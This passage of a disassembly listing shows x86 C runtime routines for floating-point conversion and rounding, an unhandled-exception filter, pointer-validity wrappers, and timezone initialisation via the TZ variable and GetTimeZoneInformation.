mov [ebp+var_4], eax
or edx, 0FFFFFFFFh
mov ecx, [ebp+var_4]
shl edx, cl
not edx
mov [ebp+var_14], edx
mov [ebp+var_8], 0
mov [ebp+var_C], 0
jmp short loc_42D61E
; ---------------------------------------------------------------------------
loc_42D615: ; CODE XREF: sub_42D5D0+9Fj
mov eax, [ebp+var_C]
add eax, 1
mov [ebp+var_C], eax
loc_42D61E: ; CODE XREF: sub_42D5D0+43j
cmp [ebp+var_C], 3
jge short loc_42D671
mov ecx, [ebp+var_C]
mov edx, [ebp+arg_0]
mov eax, [edx+ecx*4]
and eax, [ebp+var_14]
mov [ebp+var_10], eax
mov ecx, [ebp+var_C]
mov edx, [ebp+arg_0]
mov eax, [edx+ecx*4]
mov ecx, [ebp+var_4]
shr eax, cl
mov ecx, [ebp+var_C]
mov edx, [ebp+arg_0]
mov [edx+ecx*4], eax
mov eax, [ebp+var_C]
mov ecx, [ebp+arg_0]
mov edx, [ecx+eax*4]
or edx, [ebp+var_8]
mov eax, [ebp+var_C]
mov ecx, [ebp+arg_0]
mov [ecx+eax*4], edx
mov ecx, 20h
sub ecx, [ebp+var_4]
mov edx, [ebp+var_10]
shl edx, cl
mov [ebp+var_8], edx
jmp short loc_42D615
; ---------------------------------------------------------------------------
loc_42D671: ; CODE XREF: sub_42D5D0+52j
mov [ebp+var_C], 2
jmp short loc_42D683
; ---------------------------------------------------------------------------
loc_42D67A: ; CODE XREF: sub_42D5D0:loc_42D6B5j
mov eax, [ebp+var_C]
sub eax, 1
mov [ebp+var_C], eax
loc_42D683: ; CODE XREF: sub_42D5D0+A8j
cmp [ebp+var_C], 0
jl short loc_42D6B7
mov ecx, [ebp+var_C]
cmp ecx, [ebp+var_18]
jl short loc_42D6A8
mov edx, [ebp+var_C]
sub edx, [ebp+var_18]
mov eax, [ebp+var_C]
mov ecx, [ebp+arg_0]
mov esi, [ebp+arg_0]
mov edx, [esi+edx*4]
mov [ecx+eax*4], edx
jmp short loc_42D6B5
; ---------------------------------------------------------------------------
loc_42D6A8: ; CODE XREF: sub_42D5D0+BFj
mov eax, [ebp+var_C]
mov ecx, [ebp+arg_0]
mov dword ptr [ecx+eax*4], 0
loc_42D6B5: ; CODE XREF: sub_42D5D0+D6j
jmp short loc_42D67A
; ---------------------------------------------------------------------------
loc_42D6B7: ; CODE XREF: sub_42D5D0+B7j
pop esi
mov esp, ebp
pop ebp
retn
sub_42D5D0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42D6C0 proc near ; CODE XREF: sub_42D910+10p
; sub_42D930+10p
var_34 = dword ptr -34h
var_30 = byte ptr -30h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 34h
mov eax, [ebp+arg_0]
xor ecx, ecx
mov cx, [eax+0Ah]
and ecx, 7FFFh
sub ecx, 3FFFh
mov [ebp+var_4], ecx
mov edx, [ebp+arg_0]
xor eax, eax
mov ax, [edx+0Ah]
and eax, 8000h
mov [ebp+var_20], eax
mov ecx, [ebp+arg_0]
mov edx, [ecx+6]
mov [ebp+var_18], edx
mov eax, [ebp+arg_0]
mov ecx, [eax+2]
mov [ebp+var_14], ecx
mov edx, [ebp+arg_0]
xor eax, eax
mov ax, [edx]
shl eax, 10h
mov [ebp+var_10], eax
cmp [ebp+var_4], 0FFFFC001h
jnz short loc_42D750
mov [ebp+var_8], 0
lea ecx, [ebp+var_18]
push ecx
call sub_42D590
add esp, 4
test eax, eax
jz short loc_42D738
mov [ebp+var_1C], 0
jmp short loc_42D74B
; ---------------------------------------------------------------------------
loc_42D738: ; CODE XREF: sub_42D6C0+6Dj
lea edx, [ebp+var_18]
push edx
call sub_42D560
add esp, 4
mov [ebp+var_1C], 2
loc_42D74B: ; CODE XREF: sub_42D6C0+76j
jmp loc_42D89C
; ---------------------------------------------------------------------------
loc_42D750: ; CODE XREF: sub_42D6C0+56j
lea eax, [ebp+var_18]
push eax
lea ecx, [ebp+var_30]
push ecx
call sub_42D510
add esp, 8
mov edx, [ebp+arg_8]
mov eax, [edx+8]
push eax
lea ecx, [ebp+var_18]
push ecx
call sub_42D430
add esp, 8
test eax, eax
jz short loc_42D780
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
loc_42D780: ; CODE XREF: sub_42D6C0+B5j
mov eax, [ebp+arg_8]
mov ecx, [ebp+arg_8]
mov edx, [eax+4]
sub edx, [ecx+8]
cmp [ebp+var_4], edx
jge short loc_42D7B0
lea eax, [ebp+var_18]
push eax
call sub_42D560
add esp, 4
mov [ebp+var_8], 0
mov [ebp+var_1C], 2
jmp loc_42D89C
; ---------------------------------------------------------------------------
loc_42D7B0: ; CODE XREF: sub_42D6C0+CFj
mov ecx, [ebp+arg_8]
mov edx, [ebp+var_4]
cmp edx, [ecx+4]
jg short loc_42D820
mov eax, [ebp+arg_8]
mov ecx, [eax+4]
sub ecx, [ebp+var_4]
mov [ebp+var_34], ecx
lea edx, [ebp+var_30]
push edx
lea eax, [ebp+var_18]
push eax
call sub_42D510
add esp, 8
mov ecx, [ebp+var_34]
push ecx
lea edx, [ebp+var_18]
push edx
call sub_42D5D0
add esp, 8
mov eax, [ebp+arg_8]
mov ecx, [eax+8]
push ecx
lea edx, [ebp+var_18]
push edx
call sub_42D430
add esp, 8
mov eax, [ebp+arg_8]
mov ecx, [eax+0Ch]
add ecx, 1
push ecx
lea edx, [ebp+var_18]
push edx
call sub_42D5D0
add esp, 8
mov [ebp+var_8], 0
mov [ebp+var_1C], 2
jmp short loc_42D89C
; ---------------------------------------------------------------------------
loc_42D820: ; CODE XREF: sub_42D6C0+F9j
mov eax, [ebp+arg_8]
mov ecx, [ebp+var_4]
cmp ecx, [eax]
jl short loc_42D86B
lea edx, [ebp+var_18]
push edx
call sub_42D560
add esp, 4
mov eax, [ebp+var_18]
or eax, 80000000h
mov [ebp+var_18], eax
mov ecx, [ebp+arg_8]
mov edx, [ecx+0Ch]
push edx
lea eax, [ebp+var_18]
push eax
call sub_42D5D0
add esp, 8
mov ecx, [ebp+arg_8]
mov edx, [ecx]
mov eax, [ebp+arg_8]
add edx, [eax+14h]
mov [ebp+var_8], edx
mov [ebp+var_1C], 1
jmp short loc_42D89C
; ---------------------------------------------------------------------------
loc_42D86B: ; CODE XREF: sub_42D6C0+168j
mov ecx, [ebp+arg_8]
mov edx, [ebp+var_4]
add edx, [ecx+14h]
mov [ebp+var_8], edx
mov eax, [ebp+var_18]
and eax, 7FFFFFFFh
mov [ebp+var_18], eax
mov ecx, [ebp+arg_8]
mov edx, [ecx+0Ch]
push edx
lea eax, [ebp+var_18]
push eax
call sub_42D5D0
add esp, 8
mov [ebp+var_1C], 0
loc_42D89C: ; CODE XREF: sub_42D6C0:loc_42D74Bj
; sub_42D6C0+EBj ...
mov ecx, [ebp+arg_8]
mov edx, [ecx+0Ch]
add edx, 1
mov eax, 20h
sub eax, edx
mov [ebp+var_C], eax
mov edx, [ebp+var_8]
mov ecx, [ebp+var_C]
shl edx, cl
mov eax, [ebp+var_18]
or eax, edx
mov ecx, [ebp+var_20]
neg ecx
sbb ecx, ecx
and ecx, 80000000h
or eax, ecx
mov [ebp+var_24], eax
mov edx, [ebp+arg_8]
cmp dword ptr [edx+10h], 40h
jnz short loc_42D8EA
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_24]
mov [eax+4], ecx
mov edx, [ebp+arg_4]
mov eax, [ebp+var_14]
mov [edx], eax
jmp short loc_42D8FB
; ---------------------------------------------------------------------------
loc_42D8EA: ; CODE XREF: sub_42D6C0+215j
mov ecx, [ebp+arg_8]
cmp dword ptr [ecx+10h], 20h
jnz short loc_42D8FB
mov edx, [ebp+arg_4]
mov eax, [ebp+var_24]
mov [edx], eax
loc_42D8FB: ; CODE XREF: sub_42D6C0+228j
; sub_42D6C0+231j
mov eax, [ebp+var_1C]
mov esp, ebp
pop ebp
retn
sub_42D6C0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42D910 proc near ; CODE XREF: sub_42DA10+2Ap
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push offset dword_451D18
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_42D6C0
add esp, 0Ch
pop ebp
retn
sub_42D910 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42D930 proc near ; CODE XREF: sub_42DA90+2Ap
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push offset dword_451D30
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_42D6C0
add esp, 0Ch
pop ebp
retn
sub_42D930 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42D950 proc near ; CODE XREF: .nsp0:0042DA7Ap
; .nsp0:00431E3Fp
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 18h
mov [ebp+var_14], 0
mov eax, [ebp+arg_0]
xor ecx, ecx
mov cx, [eax+0Ah]
and ecx, 7FFFh
mov word ptr [ebp+var_4], cx
mov edx, [ebp+arg_0]
xor eax, eax
mov ax, [edx+0Ah]
and eax, 8000h
mov word ptr [ebp+var_18], ax
mov ecx, [ebp+arg_0]
mov edx, [ecx+6]
mov [ebp+var_10], edx
mov eax, [ebp+arg_0]
mov ecx, [eax+2]
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
xor eax, eax
mov ax, [edx]
shl eax, 10h
mov [ebp+var_8], eax
push 40h
lea ecx, [ebp+var_10]
push ecx
call sub_42D430
add esp, 8
test eax, eax
jz short loc_42D9C7
mov [ebp+var_10], 80000000h
mov dx, word ptr [ebp+var_4]
add dx, 1
mov word ptr [ebp+var_4], dx
loc_42D9C7: ; CODE XREF: sub_42D950+62j
mov eax, [ebp+var_4]
and eax, 0FFFFh
cmp eax, 7FFFh
jnz short loc_42D9DD
mov [ebp+var_14], 1
loc_42D9DD: ; CODE XREF: sub_42D950+84j
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_10]
mov [ecx+4], edx
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_C]
mov [eax], ecx
mov edx, [ebp+var_18]
and edx, 0FFFFh
mov eax, [ebp+var_4]
and eax, 0FFFFh
or edx, eax
mov ecx, [ebp+arg_4]
mov [ecx+8], dx
mov eax, [ebp+var_14]
mov esp, ebp
pop ebp
retn
sub_42D950 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42DA10 proc near ; CODE XREF: sub_427450+14p
var_10 = byte ptr -10h
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push 0
push 0
push 0
push 0
mov eax, [ebp+arg_4]
push eax
lea ecx, [ebp+var_10]
push ecx
lea edx, [ebp+var_C]
push edx
call sub_4312E0
add esp, 1Ch
mov eax, [ebp+arg_0]
push eax
lea ecx, [ebp+var_C]
push ecx
call sub_42D910
add esp, 8
mov esp, ebp
pop ebp
retn
sub_42DA10 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
sub esp, 10h
push 0
push 0
push 0
push 1
mov eax, [ebp+0Ch]
push eax
lea ecx, [ebp-10h]
push ecx
lea edx, [ebp-0Ch]
push edx
call sub_4312E0
add esp, 1Ch
mov eax, [ebp+8]
push eax
lea ecx, [ebp-0Ch]
push ecx
call sub_42D950
add esp, 8
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42DA90 proc near ; CODE XREF: sub_427450+34p
var_10 = byte ptr -10h
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push 0
push 0
push 0
push 0
mov eax, [ebp+arg_4]
push eax
lea ecx, [ebp+var_10]
push ecx
lea edx, [ebp+var_C]
push edx
call sub_4312E0
add esp, 1Ch
mov eax, [ebp+arg_0]
push eax
lea ecx, [ebp+var_C]
push ecx
call sub_42D930
add esp, 8
mov esp, ebp
pop ebp
retn
sub_42DA90 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42DAD0 proc near ; CODE XREF: sub_4274A0+4Dp
; sub_427690+45p ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_0]
mov [ebp+var_4], eax
mov ecx, [ebp+arg_8]
mov edx, [ecx+0Ch]
mov [ebp+var_8], edx
mov eax, [ebp+var_4]
mov byte ptr [eax], 30h
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
loc_42DAF4: ; CODE XREF: sub_42DAD0+69j
cmp [ebp+arg_4], 0
jle short loc_42DB3B
mov edx, [ebp+var_8]
movsx eax, byte ptr [edx]
test eax, eax
jz short loc_42DB18
mov ecx, [ebp+var_8]
movsx edx, byte ptr [ecx]
mov [ebp+var_C], edx
mov eax, [ebp+var_8]
add eax, 1
mov [ebp+var_8], eax
jmp short loc_42DB1F
; ---------------------------------------------------------------------------
loc_42DB18: ; CODE XREF: sub_42DAD0+32j
mov [ebp+var_C], 30h
loc_42DB1F: ; CODE XREF: sub_42DAD0+46j
mov ecx, [ebp+var_4]
mov dl, byte ptr [ebp+var_C]
mov [ecx], dl
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
mov ecx, [ebp+arg_4]
sub ecx, 1
mov [ebp+arg_4], ecx
jmp short loc_42DAF4
; ---------------------------------------------------------------------------
loc_42DB3B: ; CODE XREF: sub_42DAD0+28j
mov edx, [ebp+var_4]
mov byte ptr [edx], 0
cmp [ebp+arg_4], 0
jl short loc_42DB84
mov eax, [ebp+var_8]
movsx ecx, byte ptr [eax]
cmp ecx, 35h
jl short loc_42DB84
mov edx, [ebp+var_4]
sub edx, 1
mov [ebp+var_4], edx
loc_42DB5B: ; CODE XREF: sub_42DAD0+A5j
mov eax, [ebp+var_4]
movsx ecx, byte ptr [eax]
cmp ecx, 39h
jnz short loc_42DB77
mov edx, [ebp+var_4]
mov byte ptr [edx], 30h
mov eax, [ebp+var_4]
sub eax, 1
mov [ebp+var_4], eax
jmp short loc_42DB5B
; ---------------------------------------------------------------------------
loc_42DB77: ; CODE XREF: sub_42DAD0+94j
mov ecx, [ebp+var_4]
mov dl, [ecx]
add dl, 1
mov eax, [ebp+var_4]
mov [eax], dl
loc_42DB84: ; CODE XREF: sub_42DAD0+75j
; sub_42DAD0+80j
mov ecx, [ebp+arg_0]
movsx edx, byte ptr [ecx]
cmp edx, 31h
jnz short loc_42DBA0
mov eax, [ebp+arg_8]
mov ecx, [eax+4]
add ecx, 1
mov edx, [ebp+arg_8]
mov [edx+4], ecx
jmp short loc_42DBC6
; ---------------------------------------------------------------------------
loc_42DBA0: ; CODE XREF: sub_42DAD0+BDj
mov eax, [ebp+arg_0]
add eax, 1
push eax
call sub_418D00
add esp, 4
add eax, 1
push eax
mov ecx, [ebp+arg_0]
add ecx, 1
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_41D520
add esp, 0Ch
loc_42DBC6: ; CODE XREF: sub_42DAD0+CEj
mov esp, ebp
pop ebp
retn
sub_42DAD0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42DBD0 proc near ; CODE XREF: sub_4274A0+1Ep
; sub_427690+1Ep ...
var_28 = word ptr -28h
var_26 = byte ptr -26h
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = word ptr -4
arg_0 = byte ptr 8
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 28h
lea eax, [ebp+arg_0]
push eax
lea ecx, [ebp+var_C]
push ecx
call sub_42DC50
add esp, 8
lea edx, [ebp+var_28]
push edx
push 0
push 11h
sub esp, 0Ch
mov eax, esp
mov ecx, [ebp+var_C]
mov [eax], ecx
mov edx, [ebp+var_8]
mov [eax+4], edx
mov cx, [ebp+var_4]
mov [eax+8], cx
call sub_431E60
add esp, 18h
mov edx, [ebp+arg_8]
mov [edx+8], eax
movsx eax, [ebp+var_26]
mov ecx, [ebp+arg_8]
mov [ecx], eax
movsx edx, [ebp+var_28]
mov eax, [ebp+arg_8]
mov [eax+4], edx
lea ecx, [ebp+var_24]
push ecx
mov edx, [ebp+arg_C]
push edx
call sub_41C300
add esp, 8
mov eax, [ebp+arg_8]
mov ecx, [ebp+arg_C]
mov [eax+0Ch], ecx
mov eax, [ebp+arg_8]
mov esp, ebp
pop ebp
retn
sub_42DBD0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42DC50 proc near ; CODE XREF: sub_42DBD0+Ep
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 1Ch
mov [ebp+var_C], 80000000h
mov word ptr [ebp+var_4], 0
mov eax, [ebp+arg_4]
xor ecx, ecx
mov cx, [eax+6]
and ecx, 7FF0h
sar ecx, 4
mov word ptr [ebp+var_14], cx
mov edx, [ebp+arg_4]
xor eax, eax
mov ax, [edx+6]
and eax, 8000h
mov word ptr [ebp+var_18], ax
mov ecx, [ebp+arg_4]
mov edx, [ecx+4]
and edx, 0FFFFFh
mov [ebp+var_8], edx
mov eax, [ebp+arg_4]
mov ecx, [eax]
mov [ebp+var_10], ecx
mov edx, [ebp+var_14]
and edx, 0FFFFh
mov [ebp+var_1C], edx
cmp [ebp+var_1C], 0
jz short loc_42DCC7
cmp [ebp+var_1C], 7FFh
jz short loc_42DCBF
jmp short loc_42DD0A
; ---------------------------------------------------------------------------
loc_42DCBF: ; CODE XREF: sub_42DC50+6Bj
mov word ptr [ebp+var_4], 7FFFh
jmp short loc_42DD25
; ---------------------------------------------------------------------------
loc_42DCC7: ; CODE XREF: sub_42DC50+62j
cmp [ebp+var_8], 0
jnz short loc_42DCF4
cmp [ebp+var_10], 0
jnz short loc_42DCF4
mov eax, [ebp+arg_0]
mov dword ptr [eax+4], 0
mov ecx, [ebp+arg_0]
mov dword ptr [ecx], 0
mov edx, [ebp+arg_0]
mov word ptr [edx+8], 0
jmp loc_42DDAE
; ---------------------------------------------------------------------------
loc_42DCF4: ; CODE XREF: sub_42DC50+7Bj
; sub_42DC50+81j
movsx eax, word ptr [ebp+var_14]
add eax, 3C01h
mov word ptr [ebp+var_4], ax
mov [ebp+var_C], 0
jmp short loc_42DD25
; ---------------------------------------------------------------------------
loc_42DD0A: ; CODE XREF: sub_42DC50+6Dj
mov cx, word ptr [ebp+var_14]
sub cx, 3FFh
mov word ptr [ebp+var_14], cx
movsx edx, word ptr [ebp+var_14]
add edx, 3FFFh
mov word ptr [ebp+var_4], dx
loc_42DD25: ; CODE XREF: sub_42DC50+75j
; sub_42DC50+B8j
mov eax, [ebp+var_8]
shl eax, 0Bh
mov ecx, [ebp+var_C]
or ecx, eax
mov edx, [ebp+var_10]
shr edx, 15h
or ecx, edx
mov eax, [ebp+arg_0]
mov [eax+4], ecx
mov ecx, [ebp+var_10]
shl ecx, 0Bh
mov edx, [ebp+arg_0]
mov [edx], ecx
loc_42DD49: ; CODE XREF: sub_42DC50+142j
mov eax, [ebp+arg_0]
mov ecx, [eax+4]
and ecx, 80000000h
test ecx, ecx
jnz short loc_42DD94
mov edx, [ebp+arg_0]
mov eax, [edx+4]
shl eax, 1
mov ecx, [ebp+arg_0]
mov edx, [ecx]
and edx, 80000000h
neg edx
sbb edx, edx
neg edx
or eax, edx
mov ecx, [ebp+arg_0]
mov [ecx+4], eax
mov edx, [ebp+arg_0]
mov eax, [edx]
shl eax, 1
mov ecx, [ebp+arg_0]
mov [ecx], eax
mov dx, word ptr [ebp+var_4]
sub dx, 1
mov word ptr [ebp+var_4], dx
jmp short loc_42DD49
; ---------------------------------------------------------------------------
loc_42DD94: ; CODE XREF: sub_42DC50+107j
mov eax, [ebp+var_18]
and eax, 0FFFFh
mov ecx, [ebp+var_4]
and ecx, 0FFFFh
or eax, ecx
mov edx, [ebp+arg_0]
mov [edx+8], ax
loc_42DDAE: ; CODE XREF: sub_42DC50+9Fj
mov esp, ebp
pop ebp
retn
sub_42DC50 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push 2
call sub_41EB30
add esp, 4
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42DDD0 proc near ; DATA XREF: sub_42DE30+3o
; .nsp0:00451A60o ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
mov ecx, [eax]
cmp dword ptr [ecx], 0E06D7363h
jnz short loc_42DDFE
mov edx, [ebp+arg_0]
mov eax, [edx]
cmp dword ptr [eax+10h], 3
jnz short loc_42DDFE
mov ecx, [ebp+arg_0]
mov edx, [ecx]
cmp dword ptr [edx+14h], 19930520h
jnz short loc_42DDFE
call sub_428670
loc_42DDFE: ; CODE XREF: sub_42DDD0+Ej
; sub_42DDD0+19j ...
cmp dword_4EFAD0, 0
jz short loc_42DE25
mov eax, dword_4EFAD0
push eax
call sub_42DED0
add esp, 4
test eax, eax
jz short loc_42DE25
mov ecx, [ebp+arg_0]
push ecx
call dword_4EFAD0
jmp short loc_42DE27
; ---------------------------------------------------------------------------
loc_42DE25: ; CODE XREF: sub_42DDD0+35j
; sub_42DDD0+47j
xor eax, eax
loc_42DE27: ; CODE XREF: sub_42DDD0+53j
pop ebp
retn 4
sub_42DDD0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42DE30 proc near ; DATA XREF: .nsp0:0043A02Co
push ebp
mov ebp, esp
push offset sub_42DDD0
call dword_4F12E8 ; SetUnhandledExceptionFilter
mov dword_4EFAD0, eax
pop ebp
retn
sub_42DE30 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42DE50 proc near ; DATA XREF: .nsp0:0043A044o
push ebp
mov ebp, esp
mov eax, dword_4EFAD0
push eax
call dword_4F12E8 ; SetUnhandledExceptionFilter
pop ebp
retn
sub_42DE50 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42DE70 proc near ; CODE XREF: sub_427AB0+9Ep
; sub_4282C0+77p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], 1
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call dword_4F143C ; IsBadReadPtr
test eax, eax
jz short loc_42DE94
mov [ebp+var_4], 0
loc_42DE94: ; CODE XREF: sub_42DE70+1Bj
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_42DE70 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42DEA0 proc near ; CODE XREF: sub_4282C0+89p
; sub_4282C0+EDp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], 1
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call dword_4F1438 ; IsBadWritePtr
test eax, eax
jz short loc_42DEC4
mov [ebp+var_4], 0
loc_42DEC4: ; CODE XREF: sub_42DEA0+1Bj
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_42DEA0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42DED0 proc near ; CODE XREF: sub_4282C0+1E2p
; sub_42DDD0+3Dp
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], 1
mov eax, [ebp+arg_0]
push eax
call dword_4F12E4 ; IsBadCodePtr
test eax, eax
jz short loc_42DEF0
mov [ebp+var_4], 0
loc_42DEF0: ; CODE XREF: sub_42DED0+17j
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_42DED0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42DF00 proc near ; CODE XREF: sub_4286DEp
push ebp
mov ebp, esp
push 0Ah
call sub_42AB10
add esp, 4
push 16h
call sub_42B3C0
add esp, 4
push 3
call sub_41B5A0
pop ebp
retn
sub_42DF00 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42DF20 proc near ; CODE XREF: sub_4287B0+8Ap
; sub_432C00:loc_43311Bp
push ebp
mov ebp, esp
cmp dword_4EFB90, 0
jnz short loc_42DF5B
push 0Bh
call sub_41FB40
add esp, 4
cmp dword_4EFB90, 0
jnz short loc_42DF51
call sub_42DF80
mov eax, dword_4EFB90
add eax, 1
mov dword_4EFB90, eax
loc_42DF51: ; CODE XREF: sub_42DF20+1Dj
push 0Bh
call sub_41FBE0
add esp, 4
loc_42DF5B: ; CODE XREF: sub_42DF20+Aj
pop ebp
retn
sub_42DF20 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push 0Bh
call sub_41FB40
add esp, 4
call sub_42DF80
push 0Bh
call sub_41FBE0
add esp, 4
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42DF80 proc near ; CODE XREF: sub_42DF20+1Fp
; .nsp0:0042DF6Dp
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 0Ch
mov [ebp+var_4], 0
push 0Ch
call sub_41FB40
add esp, 4
mov dword_4EFAD8, 0
mov dword_451DF0, 0FFFFFFFFh
mov eax, dword_451DF0
mov dword_451DE0, eax
push offset aTz ; "TZ"
call sub_4323B0
add esp, 4
mov [ebp+var_C], eax
cmp [ebp+var_C], 0
jnz loc_42E103
push 0Ch
call sub_41FBE0
add esp, 4
push offset dword_4EFAE0
call dword_4F1448 ; GetTimeZoneInformation
cmp eax, 0FFFFFFFFh
jz loc_42E0FE
mov dword_4EFAD8, 1
mov ecx, dword_4EFAE0
imul ecx, 3Ch
mov dword_451D48, ecx
xor edx, edx
mov dx, word_4EFB26
test edx, edx
jz short loc_42E029
mov eax, dword_4EFB34
imul eax, 3Ch
mov ecx, dword_451D48
add ecx, eax
mov dword_451D48, ecx
loc_42E029: ; CODE XREF: sub_42DF80+91j
xor edx, edx
mov dx, word_4EFB7A
test edx, edx
jz short loc_42E05E
cmp dword_4EFB88, 0
jz short loc_42E05E
mov dword_451D4C, 1
mov eax, dword_4EFB88
sub eax, dword_4EFB34
imul eax, 3Ch
mov dword_451D50, eax
jmp short loc_42E072
; ---------------------------------------------------------------------------
loc_42E05E: ; CODE XREF: sub_42DF80+B4j
; sub_42DF80+BDj
mov dword_451D4C, 0
mov dword_451D50, 0
loc_42E072: ; CODE XREF: sub_42DF80+DCj
lea ecx, [ebp+var_8]
push ecx
push 0
push 3Fh
mov edx, off_451DD4
push edx
push 0FFFFFFFFh
push offset dword_4EFAE4
push 220h
mov eax, dword_4EF984
push eax
call dword_4F141C ; WideCharToMultiByte
test eax, eax
jz short loc_42E0AF
cmp [ebp+var_8], 0
jnz short loc_42E0AF
mov ecx, off_451DD4
mov byte ptr [ecx+3Fh], 0
jmp short loc_42E0B8
; ---------------------------------------------------------------------------
loc_42E0AF: ; CODE XREF: sub_42DF80+11Bj
; sub_42DF80+121j
mov edx, off_451DD4
mov byte ptr [edx], 0
loc_42E0B8: ; CODE XREF: sub_42DF80+12Dj
lea eax, [ebp+var_8]
push eax
push 0
push 3Fh
mov ecx, off_451DD8
push ecx
push 0FFFFFFFFh
push offset dword_4EFB38
push 220h
mov edx, dword_4EF984
push edx
call dword_4F141C ; WideCharToMultiByte
test eax, eax
jz short loc_42E0F5
cmp [ebp+var_8], 0
jnz short loc_42E0F5
mov eax, off_451DD8
mov byte ptr [eax+3Fh], 0
jmp short loc_42E0FE
; ---------------------------------------------------------------------------
loc_42E0F5: ; CODE XREF: sub_42DF80+162j
; sub_42DF80+168j
mov ecx, off_451DD8
mov byte ptr [ecx], 0
loc_42E0FE: ; CODE XREF: sub_42DF80+67j
; sub_42DF80+173j
jmp loc_42E327
; ---------------------------------------------------------------------------
loc_42E103: ; CODE XREF: sub_42DF80+49j
